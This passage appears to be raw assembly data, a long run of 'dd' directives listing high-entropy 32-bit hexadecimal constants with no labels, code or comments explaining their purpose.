dd 0B5128578h, 0A710CAA1h, 2F123EBh, 3241D631h, 0D28AAD04h
dd 30A088E6h, 0CA009AE5h, 0DB977946h, 95901507h, 0D8D76710h
dd 0EE2AE409h, 0DA3D8778h, 0BBC381F0h, 27522488h, 0A9F10361h
dd 82010970h, 67ED68F9h, 882B2322h, 79273F2Fh, 0CB64D6AEh
dd 9A1E3659h, 2A820240h, 0C0589Ch, 72797BA4h, 5491DAF5h
dd 0BAC05F5Fh, 0B3D6412h, 19890F23h, 0D600D6EEh, 7740A3EDh
dd 1167EB4h, 8C5F2C0h, 0C8B5E292h, 8825BA2Eh, 482B4650h
dd 0B116C860h, 0A56AAC1Ch, 1B87FEDh, 800D2E8h, 0E3BE3229h
dd 7CE9CDA0h, 0F63BE1EEh, 2B69F00Dh, 0CCDC012Dh, 23B35497h
dd 3E5CC6F8h, 0AC145969h, 528D17C6h, 0B2EEA661h, 3F2B311Ah
dd 0E22D86A4h, 0D5E30581h, 0BB6718DAh, 3FC8F820h, 24F82452h
dd 3BF707C4h, 0B68FE0BAh, 0AA7A7FE1h, 0C6C25925h, 0F2604B0Ch
dd 5AC70069h, 29E6689Ch, 1ABA0090h, 1CE034FAh, 0F7120CFFh
dd 9EE883B1h, 5F515B27h, 0F120F980h, 23A095Fh, 9B86277Bh
dd 0E38B477Ch, 0C111156h, 20C7CD5Ah, 689A2D33h, 0EF95ABA4h
dd 99F40C6h, 251E527Ah, 142C52Ah, 2902999Dh, 9BC2C58h
dd 91CD01DCh, 28B5B065h, 0D091602Eh, 0BB960C0Eh, 7CA582F4h
dd 0A9D7F50h, 0FA851411h
dd 0D4C9A860h, 0EAD4A7Bh, 32C66125h, 42405B94h, 781626h
dd 0E66C73F6h, 7ADE6625h, 5BFD8A13h, 0CE9F4FA2h, 4E767EBBh
dd 0A353D9EFh, 0BC487E3Eh, 329D78E7h, 4AB55532h, 5D76400h
dd 2E3BFC1h, 9589AB73h, 59091E85h, 75B78B51h, 0EDBFB57Ah
dd 0F0E5C54Ch, 6EB52D90h, 2D807FA1h, 0B43761DBh, 63C8C202h
dd 8EF994h, 0B957863Bh, 6C2D5F6Eh, 0D9AF5B32h, 21181Ch
dd 0AF8643DEh, 0A487A6D7h, 577EE29Fh, 7548829h, 61783E59h
dd 0FB309984h, 6E7ED3D9h, 0E16103BDh, 9F44F30h, 15ED9580h
dd 23BD5890h, 0A9A88DD3h, 0AC3EE516h, 9A92EEDDh, 0BBCB8032h
dd 53B535Fh, 8F6331D6h, 1927F086h, 403DBFh, 894BD645h
dd 254AE1B5h, 3A850FE3h, 0A0BCB704h, 48843FEAh, 7125B9D4h
dd 8897EE7h, 0C09AD604h, 0FC628077h, 1998F3Ah, 0B390989Bh
dd 0E8E4E5BFh, 99674A32h, 0FE3760BDh, 0BB89464Bh, 0C18D9B3Ah
dd 36082FBh, 0B9A2136Fh, 0B7C98087h, 1C954DDFh, 829CEFB6h
dd 0A74630E2h, 0F5254D50h, 0A532731Ah, 8383CC66h, 96041B92h
dd 614A7FC2h, 80305768h, 5F523EE2h, 0CF3D0A7Bh, 0C7724806h
dd 0B8A3F4EFh, 5188D691h, 66EA3E4Eh, 9CD3119Fh, 0B1C78739h
dd 0DFA18073h, 0CB120AF7h, 1A0833D6h, 0B45F1823h, 2D850275h
dd 0DC6486Dh, 950CFCE0h, 6D95C96Eh, 511BC0DDh, 0CB08B66h
dd 42C4C609h, 0A0CD7176h, 0D7CF2789h, 67281C5Bh, 252FC522h
dd 0BFDE04C2h, 0D21407DCh, 0E0B00EFDh, 9D034478h, 0CC9D617Bh
dd 67BF026Ah, 0D912563h, 25A66D0h, 74B099B7h, 880ABFBAh
dd 0D0714D08h, 712D6D09h, 0BA5369E0h, 1C13850h, 290FB874h
dd 2E2719BDh, 8BD2E277h, 807ED30Ch, 0D60AD89Dh, 0E269EAA2h
dd 71015B7Ch, 218181Ah, 0BC9F0F89h, 23FC3273h, 808635EBh
dd 8F46C84Fh, 0CD51C143h, 8926CD9Dh, 2A55BDE3h, 0BC01AF45h
dd 5061C1D8h, 0F63F207Fh, 31008117h, 1960C0B4h, 12BEBB73h
dd 1365FEAAh, 616FCAh, 0B172FDAEh, 4E9D8930h, 0AD7184E5h
dd 8C19AC6Ah, 4F3B0A02h, 40ED7CC9h, 950F154Ch, 0F6CFF96Eh
dd 0D4ACB2E5h, 8B2232E2h, 794568F9h, 3DC4BA41h, 6E4F14C0h
dd 0E51F00E7h, 0F928F2Fh, 52EC7FAEh, 824B7841h, 96D52676h
dd 0E03787C4h, 0D6BD6D83h, 324C7309h, 0CC698CA3h, 0F7F74AE5h
dd 44FA29D7h, 0B484BB00h, 98570DD0h, 9DD5F19h, 0EB565B38h
dd 0D4A4DCE9h, 0E6C2A900h, 0A139F3A3h, 0DDF1277h, 8833F2F9h
dd 8060845Fh, 3604AFD2h, 28AB03E5h, 8A2D0FCFh, 80C3D31Eh
dd 0ED62431Ah, 9C0E23B7h, 0BCD6ADC3h, 542036C3h, 83E2FA9Ah
dd 2D31EDB8h, 33EFC6DDh, 15F55249h, 0B40B3B56h, 0AC575916h
dd 0BFE9F59Bh, 2E007AA8h, 75C79E82h, 2DF80C4Ch, 0A058FCE9h
dd 4B852939h, 31C1C940h, 952C898Dh, 4DA50EC5h, 0B285452Dh
dd 2E204B1Dh, 122915BFh, 0FA5B5CB9h, 7E103909h, 0BD0DE031h
dd 699547B6h, 19DD7712h, 0C7D6DE2Ah, 0F3D1DD0Ch, 20D103BCh
dd 762826Eh, 3ACCF612h, 0F7ABB6CEh, 0E8295F79h, 3F1590FFh
dd 5A7300E4h, 5DC50970h, 20055619h, 0A0C361B4h, 7751B002h
dd 0DEAADE16h, 16133FFCh, 55B897D7h, 3120418Fh, 948D24A3h
dd 0CB7A8800h, 0EE02D466h, 6242FCE0h, 1091FC0Fh, 79498F5Eh
dd 9F3800B7h, 405BD92Fh, 3317FF72h, 41045C19h, 0DB102831h
dd 5ADF5350h, 0AA18D4FFh, 9C211E89h, 3F6F2EDDh, 391523C2h
dd 0E93AB635h, 0E0EB8E1h, 2A6B89CCh, 0A3AF5D45h, 13E8115Ah
dd 95276000h, 0C05AE358h, 9CB09600h, 86B150DEh, 0CD88047Dh
dd 0BD5B3149h, 800888C2h, 448C5452h, 0A325E728h, 9BEE6C2h
dd 99D3160h, 0B57F71DAh, 2C612D40h, 0DE7BD1FFh, 4C623004h
dd 5AA07913h, 0CA244B76h, 35E034E8h, 0F6EEFh, 0D97430A0h
dd 162A43A2h, 0B860D453h, 0CD2F37CDh, 2A0B2D62h, 0B0111DEh
dd 53026AF5h, 23267091h, 5DE8E7FAh, 7040D62Dh, 552EAAFDh
dd 0B60147B7h, 0E4738EE0h, 0FC4BEC33h, 7D8C800Ch, 27F82A46h
dd 7F66014Ch, 84D6C3BFh, 0C5645F0Bh, 89811F3Fh, 1A8FEA41h
dd 0D7C8D5B6h, 0F8A04D57h, 9E07D988h, 0E2D7FB2Ch, 7B396877h
dd 0E1111F0h, 0E00AA538h, 0C78F8A7Ah, 403A006Ch, 957F52E4h
dd 0E92DB7E0h, 0C46F7193h, 0EB1AC55Bh, 0E901846Fh, 0C212715Fh
dd 0AEC33E01h, 0A5E68D47h, 0C02A3EE0h, 0F966C602h, 604B03A0h
dd 9D2EFD2Dh, 0DB9D2516h, 0EE0150BEh, 0FD876500h, 9D293591h
dd 0B20F5F31h, 12DF2450h, 0C0264DADh, 8AE17BECh, 83131EFCh
dd 20EF4DDEh, 11EF216Eh, 0CCE1E504h, 0AF09D6Ah, 3A5F8118h
dd 0CB6A0913h, 3C011D23h, 30BF98C0h, 0EE537A20h, 2D667809h
dd 0CC73FBABh, 75AE5F92h, 80E4DAADh, 8D0C9DCEh, 0CC2F288Ch
dd 0FF6A259Eh, 0AB8006D9h, 0AAD83D59h, 12A41769h, 89ED0557h
dd 687ABF0Ch, 6CF3E80Bh, 3A0BC45Eh, 0BD1C053Dh, 0DEA409BFh
dd 4539EA7Bh, 3173D721h, 83B0DA17h, 2D14791Eh, 169670E6h
dd 0F8B80850h, 8C23FE7Eh, 3A21DF5Eh, 28061CDDh, 970EC520h
dd 667CEF0Bh, 97F27169h, 0BF8700DEh, 67A6E1C5h, 0F9EC9097h
dd 40C48632h, 0E0122015h, 174588F1h, 0CD001423h, 3940459Ch
dd 6DE443A0h, 0C67D0C00h, 0FD65BCD9h, 0B8334AB7h, 0FFC09ABh
dd 1C1B7F82h, 9751EC8Ch, 0AB928CADh, 0CB838824h, 0C60D4B7Dh
dd 40C1060Ah, 2ACD8D01h, 0E161446Ah, 7A610913h, 0BF1944FFh
dd 71DD8B02h, 0D741E93Eh, 0EA9A05B8h, 829F8A3Eh, 954F37C0h
dd 0F5E67530h, 23F21197h, 95C25713h, 5F8CC855h, 17A55083h
dd 0B80BB5FEh, 1D5C2B08h, 0B618931h, 5142EB79h, 0E721DD02h
dd 21C404D7h, 0BD308846h, 0EFC3202Ch, 325EE7ADh, 0CDBA0055h
dd 0D4B823F3h, 6692C0Bh, 5F0518B7h, 63A03E19h, 90B9CE9Ch
dd 0F8D06407h, 0E84BE8BCh, 0B88370C6h, 9EA0CF80h, 0D853A705h
dd 70982578h, 0BACC26EAh, 7195FE3Ch, 0F18269FDh, 9D2717D5h
dd 2AAF0764h, 0C019C850h, 69E46D48h, 60F72E14h, 93F12ADAh
dd 0E2649Fh, 0EEF2CBB6h, 1F250990h, 0AFF455E4h, 4B90725h
dd 59011342h, 2C97B761h, 0F4488019h, 7531DCE0h, 0D330909h
dd 3557FD88h, 8018116Ah, 0BF724BEDh, 5D8CA06Ah, 69ED9534h
dd 106719E4h, 54AC3008h, 0D98BB613h, 0E64B53A7h, 7D9BA2A7h
dd 1AC930Ah, 33FC12BFh, 582F3A19h, 9F269A4Bh, 36F55B8Eh
dd 0CA4B99BCh, 2FD37B1Eh, 46E329A6h, 0E1D33E8h, 5E8B902Dh
dd 0E8FC44EBh, 0E715D236h, 0EDB65A5Bh, 803114B2h, 916A3021h
dd 29E1FF1Eh, 0C9FB8D3h, 6AB0B461h, 3FF85B8h, 0EDAE2A52h
dd 71C59591h, 913045BDh, 8A504E5Eh, 0A5692138h, 1D49AF6h
dd 9311D537h, 0F92EACE2h, 2F283ACDh, 76F48A02h, 0C961C66Ch
dd 76D36027h, 27E46170h, 342C86Dh, 4270765Bh, 0B520015Dh
dd 7D9D3198h, 4243A29h, 1AF5DD04h, 286E98FBh, 70B8FF00h
dd 8D329E87h, 5C161CE2h, 1A05C27Dh, 9AF53F3Bh, 98241ECh
dd 0A45FE993h, 758A3A07h, 0A5B98A39h, 0D6CB5681h, 6B001D46h
dd 7FEFAFEEh, 3011EAA8h, 7931CDEh, 3489D07Ah, 0FA86812Ch
dd 4047050h, 4984C08Ah, 203FFD13h, 0EEABDEFBh, 0ED44EF00h
dd 2F3DC619h, 9A181B57h, 0F822A60Fh, 4A00B503h, 6704AB68h
dd 0C0C6BA4Ch, 0F4917A8Eh, 853A009Bh, 9920D1A7h, 0AE486B6Dh
dd 18214211h, 24945BFEh, 0B7FF1654h, 2A37B145h, 6E3BD829h
dd 0E74702C2h, 775462A8h, 810275C6h, 7521FEEFh, 491F7473h
dd 7BE0A7CDh, 21F8D721h
dd 0A000E873h, 1C437CB7h, 0CC6207B0h, 70BA5A5Dh, 2B052199h
dd 0F9BD5901h, 225E95Fh, 77CA7A2Bh, 4E27B300h, 6F73BF71h
dd 95214E34h, 477ABE32h, 0F81F0102h, 5274F6B3h, 0FC1C2Ch
dd 0D7ED8257h, 5EB11814h, 7F948BFEh, 80091E10h, 7AD1A5C3h
dd 80543725h, 23268951h, 0D54815FDh, 5ECC4B4Eh, 0F59D2D01h
dd 39897F61h, 4C0BC82h, 0B1B52BD1h, 7FE18DF1h, 86C0949Bh
dd 969CE869h, 1AF3B44Ch, 62A12755h, 97B75563h, 9EE0E602h
dd 920C5D55h, 0EB2D8051h, 9750522Ah, 6309AB7h, 266D0723h
dd 91EDF59h, 6D5EEB25h, 441646D6h, 9D2C89D8h, 6881A1E9h
dd 0C659BD6Dh, 29C21631h, 46921220h, 0F9F839C5h, 6465ED95h
dd 2AA6601Ch, 0A50E3858h, 74D7101h, 2BE1BD23h, 8A50C002h
dd 951478F9h, 12C289EDh, 0E6592Eh, 0A57B70FCh, 771CCFABh
dd 0D40022ADh, 0BB31CF4h, 14902623h, 1546DC78h, 615A6C02h
dd 0C7648A0Fh, 46599Dh, 44754F17h, 241393B3h, 52A2F53Dh
dd 0A212AFD2h, 0DAAA0AC4h, 0F3814BD8h, 0D82BDA98h, 5E87F98Ah
dd 8E2FB90h, 763D95h, 0BFE44BFFh, 0D30B5CECh, 748EB9B7h
dd 4A52409Ch, 5D2D9970h, 4F7CF985h, 0A9A6AE48h, 16590C11h
dd 0A9080592h, 8FC33C1Bh, 5CF53FC9h, 1846D6FCh, 51E21602h
dd 0D65E352Bh, 251446D6h, 12E773C5h, 4FB7F3F8h, 0B42DC8h
dd 0A88248D4h, 1894DDF7h, 1002314Ch, 5F12143Dh, 0B37EB096h
dd 6A2EEB45h, 8F7F2B80h, 4F181671h, 0C7A03BFEh, 0E5952AE1h
dd 5BB5AD88h, 0BC79700h, 971EDD9Dh, 14F1F5BAh, 0EBB5762Dh
dd 75E2A956h, 0C7BC1417h, 80AAE940h, 0FF9C00DFh, 0DED8818Ch
dd 0B5118934h, 314B13A5h, 7E8F0F47h, 25DB8A8Ch, 0D8E06A54h
dd 61E26057h, 0EFE646BDh, 20509D41h, 0AE84342Fh, 64B87034h
dd 0D3B7BBC0h, 6A4B2096h, 0A70ED6Fh, 8546AE49h, 1CC189C8h
dd 4B319655h, 0CD9D16E5h, 35F888A0h, 0BB500007h, 28320397h
dd 3BC34F8h, 774FCDEh, 1B797235h, 7E0D26DBh, 4B14F12Bh
dd 918D0102h, 237D71Dh, 1C871791h, 0AC140462h, 5BE18017h
dd 89EB88h, 35F770C8h, 0D607C693h, 0E518A525h, 5C491136h
dd 9D09C289h, 50FB6995h, 442283F5h, 92C1F54Bh, 56ABF106h
dd 0E05CB6F6h, 163A767h, 42B4EBE5h, 7B975975h, 7907F909h
dd 54356BC5h, 0CF228287h, 0E70E2AF1h, 0BC80446Ch, 12D16931h
dd 0C3E66204h, 78BDA73Fh, 0A10EB6D2h, 46216D0Bh, 59816004h
dd 4A2248FEh, 0D03B184h, 0F46E2E50h, 99975F7Ch, 2B20BF6Eh
dd 0E3584EBDh, 538A4BB5h, 0FC4A5222h, 18AC00B9h, 0DECF058Ch
dd 91397E1h, 4EC26DC3h, 6D2D4B5Ch, 5045C03Dh, 81268FEh
dd 46F7923Fh, 7D3015B2h, 5E10B7EBh, 30B83263h, 0BCB5DC00h
dd 5528D221h, 0AEE8007Bh, 0FE4EAAB7h, 0A75AE9DEh, 2177E1h
dd 97120660h, 3977578Ah, 57EE31A5h, 75C4575Eh, 4510C5ECh
dd 7D194816h, 3036DD04h, 50550489h, 0D7032CBCh, 7E7D34DDh
dd 8044623Dh, 43DD8732h, 2E69B178h, 0BBB0202Eh, 0D2045C9Ch
dd 52609047h, 0B55EC280h, 0A1614BC8h, 80BC2C21h, 0BD1F2D54h
dd 0AA680080h, 96930519h, 475E6E11h, 0F5F9C02h, 0C4C631h
dd 5B94CF0h, 42612573h, 5BE02002h, 5490585Ah, 0CC00DCEDh
dd 507EE667h, 580CF291h, 0C0254398h, 97F4F774h, 4FB78D44h
dd 4FD1405Bh, 0C24BB28Fh, 0BBFCA8Ch, 4D56C517h, 7CE84A5Ch
dd 4D5A097Eh, 107D0762h, 0BDDE8BF9h, 240593C0h, 94890F80h
dd 0B91D50CBh, 8995DDAEh, 1367DCF6h, 0AC38AB16h, 55C2E1EAh
dd 0CF8D3237h, 14ED60E7h, 17F0C504h, 6193A492h, 0E66E495h
dd 129E9C7h, 8CFAA924h, 1A0059C2h, 333945E7h, 0B8AB20h
dd 97C9E88Ch, 0E455832Bh, 59051179h, 60026A61h, 0F7801DECh
dd 653C7276h, 94007D72h, 0F922BCE0h, 13BD3324h, 0A4B52BCCh
dd 0BF80611Ah, 0BE684996h, 0B8C6E4Bh, 562DE06Bh, 5D5D1AC6h
dd 9499CE05h, 0AC78F93Dh, 0A3828C14h, 1D7DE5C0h, 489738BDh
dd 19720015h, 3EF43FDh, 0E03B8388h, 80C78055h, 5F4DFB12h
dd 92AE557h, 0E171A0DCh, 0B873CC2h, 89E0997Fh, 824E22Bh
dd 0AF099D8Bh, 0AA562D8Bh, 301446D6h, 1F94A97h, 29C52595h
dd 0FA51A3C4h, 909B3BC9h, 0D2728FDEh, 22F2CFC0h, 329730FFh
dd 7A21578Fh, 0F20F5BDh, 3F06743h, 0F44BCB80h, 2D698C9Dh
dd 300A4A8h, 81DE3D2Fh, 24844BEBh, 1E563F1Ah, 0FF6A4989h
dd 0D8C0744Dh, 2F3A0CD4h, 9285E2E0h, 1928C1F9h, 0DFF2522Bh
dd 58C4805Ch, 0AC8604Eh, 0B1982280h, 0B0853DEh, 787D3620h
dd 60A684D7h, 0D8E28Ch, 0D07E66C5h, 56FECC0h, 0D4AD6901h
dd 77E27443h, 0BD0DD8F8h, 0AEB85170h, 1E2B2E41h, 1CB5089Eh
dd 0FABB6602h, 0B9A25C2Ah, 94E936Ah, 9C710871h, 0D2BAF80Eh
dd 89681BDh, 60931F6Bh, 1B799C8h, 0C6349003h, 0D8C49262h
dd 4300BC0Fh, 1F18ADCh, 77813739h, 0D5FA09D6h, 0B770613Ah
dd 0FBB1A595h, 6D8185ECh, 0FFD93EA9h, 0DAEA4AC8h, 0EEC59009h
dd 2410DD03h, 9972B5Bh, 0BB7F56EDh, 9D0BD102h, 0B6A5150Dh
dd 29540123h, 8C0739BDh, 0D458D29h, 87759961h, 3051E495h
dd 0C64727A2h, 46EBFFA0h, 1006780Bh, 5E1826Eh, 6609072Ah
dd 88950D29h, 0C26085C6h, 0EF8F22h, 8EC3675Fh, 0E4C5E68Ch
dd 990D4179h, 34D5A992h, 5CD9AA02h, 0B41C94D1h, 945E9C7h
dd 77A4B157h, 460570h, 0D5C0AFB9h, 6DBD0374h, 10440C4Eh
dd 2941698Dh, 2E221DB5h, 271BDA62h, 9A5A5F8h, 0B861FE16h
dd 9565072Ch, 4A5E7214h, 41AED2D8h, 0F46E2F0Bh, 95E3C900h
dd 0D659F2ECh, 0BAAAA098h, 23BDEB02h, 50815624h, 0B928FD9Bh
dd 0F6D127h, 66BC00F6h, 913BE487h, 0F00B37CBh, 0FC0881B9h
dd 4603F4ACh, 0BCACD8CFh, 0CE2DB881h, 294727E3h, 7049EC5Eh
dd 0AF4D9510h, 8F98B0C0h, 0EAAE1465h, 0A0285C6h, 418D8912h
dd 85015948h, 4AB1FA97h, 9C13DBFCh, 0F5F31F40h, 266F06D1h
dd 985287Fh, 817974D8h, 0F86B0700h, 0C1863D27h, 2B65951Eh
dd 0D15B60C0h, 0C2BAD7A9h, 0B454F71h, 97F8D58Ch, 35BD2FB6h
dd 4DC2589h, 19D88B89h, 0B6F50FB9h, 33DFF0h, 0DED0BC8Eh
dd 81EFD13Ch, 0FFF5D909h, 9F127A2Fh, 0B378C5DBh, 0BB9A09DCh
dd 0D7B98ECh, 12D494AEh, 445D931h, 0BCD3B3FEh, 0B753C10Ch
dd 2F2E5F64h, 82DA4AEAh, 0DB5CF789h, 0F5252510h, 7412EBC5h
dd 1F7A7BEBh, 0D741F04Bh, 222C9D64h, 51E6222Eh, 0AD1F6940h
dd 0E68D5B4Bh, 8F19089h, 3CA1CA71h, 6610E2FBh, 78C700E7h
dd 63606A91h, 7000B66Ch, 16A764D5h, 0C44828CFh, 0EB17A174h
dd 0D2364F8Eh, 1B25B07Dh, 9D4C5E3h, 3DD703DCh, 6F7C0350h
dd 69B2D095h, 7851D15Ch, 3A3D5DD2h, 2DB95E2Dh, 105CBFEh
dd 13F1600Dh, 0E009F115h, 8C81E831h, 0DC1E9ED9h, 610CB101h
dd 50B2652Bh, 4ACDFA20h, 4ADBF629h, 0B79694DAh, 0D84E0249h
dd 75819529h, 0F17098CCh, 0C5E30A8Ah, 595C53ADh, 127F1817h
dd 0E3219484h, 49BF01CDh, 901DD509h, 371D6F2Ch, 5F53880Dh
dd 0FE9D230Bh, 116881D1h, 6BC596E8h, 3281DCCh, 441502E5h
dd 9E20E53h, 81B0D927h, 97B9476h, 61183889h, 0EE0A9D50h
dd 0CD3A881Bh, 21791CDEh, 0D2311C65h, 4A53A310h, 0B603E5E2h
dd 92D9C421h, 0DD32CED0h, 0F00A1F0h, 803EBE47h, 4B89B723h
dd 8AB88C1Ch, 9FCF84Eh, 0B19CD10h, 8304E780h, 850166A2h
dd 0C1D6DBAFh, 0CBEE4F4Ah
dd 45D7FD0h, 58D01DBh, 498BAB16h, 8950DA5Bh, 898C71C0h
dd 6071C2B7h, 40046097h, 0F8041A2Dh, 0C445B861h, 6FFE89FCh
dd 3F2F0B8Fh, 1D0EA273h, 2552450Bh, 82091274h, 0B722703Fh
dd 9658A950h, 0C0502F6Eh, 0B86ABE2Ch, 70530934h, 0E2595E79h
dd 522C80BFh, 0D5684092h, 72DA3D8Ah, 0CA290504h, 0E803BA09h
dd 0E6C5892Ah, 48E31F6Ch, 6F8DDEF3h, 0CB540B42h, 0DE1C764Bh
dd 3C7E257Fh, 0A45DCB07h, 33B039E2h, 952BF59Dh, 0D209344h
dd 3BA1A426h, 0BD4A165Eh, 4877B807h, 0FE936A09h, 801CD7Ah
dd 0FDB109B4h, 0B5D041EBh, 0CD67172Fh, 8A6115F8h, 0CB32E8BDh
dd 0B7F3E49Dh, 1E574092h, 0D48D9633h, 94812A5Ah, 282BF81Eh
dd 2AD65839h, 3866FFBh, 0E266F1A9h, 82F4EA01h, 10D989h
dd 99C3F781h, 0E926740Bh, 0F65E5440h, 0FC597802h, 23B37CCh
dd 0C7552608h, 9D105E2Eh, 0C3441F55h, 8A644B14h, 442101Bh
dd 0EF265630h, 5F4BF98Dh, 0F13B88h, 849313DEh, 5BDA8BD8h
dd 209AE5A5h, 0CABC4145h, 2E225D38h, 9706595h, 0C736F18h
dd 509BF3AFh, 570C66CCh, 0ECA71A99h, 7A214169h, 5DEFC8h
dd 970D107Bh, 0DE3CDD0Fh, 904D7007h, 7D40371Eh, 50A7C15Dh
dd 4A8FEC2Dh, 70CAE809h, 8F19BD9Dh, 36E0B688h, 80BD5309h
dd 737DEB2Dh, 36B5ADDBh, 0ECE25300h, 5E609691h, 981C82Bh
dd 1455BD10h, 96DFB783h, 47648CA2h, 4DE2564Eh, 0C072401Fh
dd 0DAC97532h, 5F071B3Dh, 5BE9B5F3h, 0E2E25015h, 23103100h
dd 512F247h, 5C5FDE00h, 4DBE6660h, 8E0F25CCh, 5B25DA64h
dd 12FB796h, 7B6012EFh, 3B122535h, 63122F7Bh, 4AA3E7ABh
dd 0F3C0269Ah, 679A75Dh, 0B07F4709h, 12DFFE4Fh, 14ABE712h
dd 10C05351h, 5B121B8Dh, 0AD88BD5Fh, 5E8A1Ch, 2D31D8BAh
dd 556B33BBh, 0C7362EE3h, 1A212D8Eh, 0F9F8FD6Eh, 0B7AD0997h
dd 4FC78007h, 998D8925h, 35F22A5Ah, 0EAC5B713h, 31B80516h
dd 326AAAE4h, 602E0800h, 0BA3A0E87h, 0EA8C7C4Bh, 15B52E29h
dd 0DBBF816Ah, 0A608523Bh, 3DEA068h, 0C75CA0CCh, 0DC1070D3h
dd 2B092C1Dh, 1071299Dh, 0FB17A14Ah, 2F96DC8Ch, 96C45753h
dd 45648300h, 133D22D8h, 823F00F8h, 4C5818C5h, 5D3835E1h
dd 6450AF5Fh, 2A4200DFh, 19FEE3DCh, 0A8B6BC31h, 4BB03B40h
dd 2F202D7h, 5FEAB1ECh, 0B802A742h, 4FB22319h, 0FBEB9F40h
dd 0F99A694Bh, 58C316C8h, 0E7E8ADEAh, 0A7118180h, 0B1013F7Dh
dd 604CA9DBh, 292E9635h, 54857FF5h, 0C184DBFBh, 8EF0C7F3h
dd 2DDE27D4h, 6DC60C9h, 67BF2F12h, 0B0245112h, 295DECFAh
dd 3DA98D4Fh, 4B51EC4Fh, 0C8FD1885h, 6F07FEB8h, 0C541CA27h
dd 81B20114h, 0B7D28E49h, 0B1D12B8h, 0A0D269BDh, 0D5A51EE9h
dd 3CD8BB81h, 272FFC60h, 0EB70F0AAh, 0F1026911h, 0E2DC9B26h
dd 0F76AFF8Fh, 0C5366C55h, 0AF26E9F4h, 9E585E38h, 0AB25F67Dh
dd 0C00C5C9Dh, 7AFDCF81h, 90D11095h, 6B63042Dh, 0AF219E94h
dd 6B9B2B57h, 0A302C68Fh, 0DE5C437Dh, 0E100825Ah, 8AE9022Ch
dd 6D2FAF5Ch, 9D71C2F1h, 995702FDh, 0C1CB0E08h, 0EDC83DEh
dd 0BEF3327Ch, 2C47ED61h, 0D5D802D2h, 1B64816Dh, 180B6D8h
dd 14EB8576h, 20B29D4Ch, 6017FE17h, 0A5885290h, 8B5A0034h
dd 2E674419h, 6058E0A5h, 1D2F48B7h, 0DA3A5651h, 0A0BC8EADh
dd 3C54D434h, 7D0B206Bh, 9C81E6E2h, 6C510321h, 2F1D20F7h
dd 3CF66A5Bh, 146401DEh, 0F84D877h, 0D8C92B60h, 242DBF20h
dd 0DC5A813h, 56B3075h, 167983C6h, 0A2D8FABCh, 25C52DBDh
dd 3527B97Bh, 0FB5A0052h, 15393F35h, 0DE90A926h, 7B935860h
dd 0EB8A02BEh, 6B5CA403h, 7D458157h, 6E6B902Fh, 9590001Fh
dd 0B729771Bh, 8BD912BFh, 1858A8FCh, 2B54A0FBh, 2E94BBDh
dd 3D9D0974h, 80413676h, 0BD2A2CE3h, 9B37A99Dh, 123EB440h
dd 0F65402CAh, 301AB263h, 8B04CD42h, 75AB5BFAh, 804BF2ACh
dd 26DDBD46h, 0FC519087h, 79018C18h, 88EA5051h, 336A870Fh
dd 4CC0980h, 6087026Ah, 57508030h, 3C0B975Fh, 49B54343h
dd 995C61A0h, 180525C8h, 4FA1CF84h, 392EF7EDh, 4D42F6ADh
dd 0E0BC4DFFh, 8FF4E522h, 811778FFh, 45ECF67Bh, 3897E0h
dd 2C140B66h, 0BE5BBFA9h, 3360EA09h, 9AA2FFB5h, 32558C0Fh
dd 0F81150DFh, 19016489h, 0D7E7B9F5h, 0B15B1E6Ah, 23947A83h
dd 6FE9A313h, 2C00CEB8h, 92EBDB8Bh, 50D6DD3h, 258D0912h
dd 1D8EAB17h, 28C6A5Fh, 394770F8h, 2E1A554Dh, 732D035Ch
dd 0CFF7F0ABh, 12670358h, 0D0E90F41h, 6BE8AE80h, 5D7FFD1Bh
dd 15DD964Bh, 0EFB02236h, 530535B7h, 32F05B29h, 0D9820AEh
dd 0B72BF59h, 0EF26CD00h, 81146E4Ch, 0E0824B90h, 13408535h
dd 0FF6A335Fh, 0B3581512h, 29B11762h, 55C70B20h, 0DB19773h
dd 0C8BB1010h, 54661256h, 4A8EB9B0h, 0B508E3ACh, 0A84A2021h
dd 5C1B5D09h, 42EE6488h, 5CDADF80h, 459027E3h, 0D12D5E9Dh
dd 6BFBD6B9h, 8F2603F4h, 0F0CDE06Fh, 133728F4h, 41DF3A7h
dd 0AF13A3BEh, 0DA8A2C81h, 0BD94932Bh, 201A198Ah, 5ADA5435h
dd 0B93F4E31h, 16427D72h, 0C328E92Ch, 1B2D32A9h, 9D517E85h
dd 0AE9D9389h, 5F2A6536h, 0BB5C4E81h, 0C01AA84Dh, 89709D31h
dd 2A76081h, 0C96C2870h, 25BD0E2Fh, 8A730F4Dh, 47441811h
dd 0FB320714h, 0B6215EADh, 31171748h, 7B22BD8Dh, 5466F5F9h
dd 1F880F28h, 799D0B09h, 11BB7321h, 1E198425h, 2871AF52h
dd 0FB942DBDh, 0B8B8395h, 6595EF78h, 15EE0897h, 0AB85090Fh
dd 8E3FFF08h, 0BBDA9700h, 2580E62Ch, 0BCCDCFD7h, 61611464h
dd 0D5F82AB9h, 3DB22146h, 8B42C8D5h, 0FBB7FBh, 4DE5DB9Fh
dd 69DEC031h, 9A279250h, 1B0D211h, 8ABFC02Bh, 2E3743F4h
dd 64C16B24h, 9F2B099Fh, 0CF15C891h, 4771D369h, 1927E328h
dd 953C9420h, 50F40A89h, 993112F4h, 0B52E086Ch, 0C1BFF6A7h
dd 6A29F185h, 0BFF0B9B2h, 5F27EFE1h, 70CE7B47h, 62976A5Ah
dd 513856E7h, 372BA561h, 0F021074Eh, 45EFE058h, 0B8ECFC73h
dd 0BB12E1A6h, 54A87232h, 23732225h, 2DABF0ADh, 2B37E1FFh
dd 25C0DF01h, 0C47E6690h, 0A125AC82h, 83270449h, 3360F1B1h
dd 0EBE705ABh, 0F7D3612Eh, 9D62AEFEh, 87409A79h, 5A07BAh
dd 8567415Ch, 0BE197502h, 0E5D9804h, 68B8F0D0h, 0A84F10A3h
dd 0FCBCD9FDh, 0BC058C71h, 31F58D89h, 6FACAE34h, 911FA5A2h
dd 0DA698016h, 0B060F9DDh, 0A534BE2Bh, 0DB5B6562h, 58CF3970h
dd 9D705129h, 1C510E73h, 0EF00FB18h, 3A72DC8Bh, 0C9E82A96h
dd 5F73BDA6h, 55010709h, 602738BDh, 27A15047h, 9760B568h
dd 0FA5A8A0Bh, 9D0862F6h, 253230E9h, 6B6C5CC9h, 0D6A58AFCh
dd 0D1AC4082h, 0A61FEBFFh, 83C021D3h, 940A6609h, 6B72255Fh
dd 0E8A0318Bh, 25FD9529h, 0F75F12B5h, 1600263Dh, 0FE59733h
dd 68808B8Ah, 0C127B88Dh, 20A7D47Eh, 0C05B4A0Ch, 0DEBB726Dh
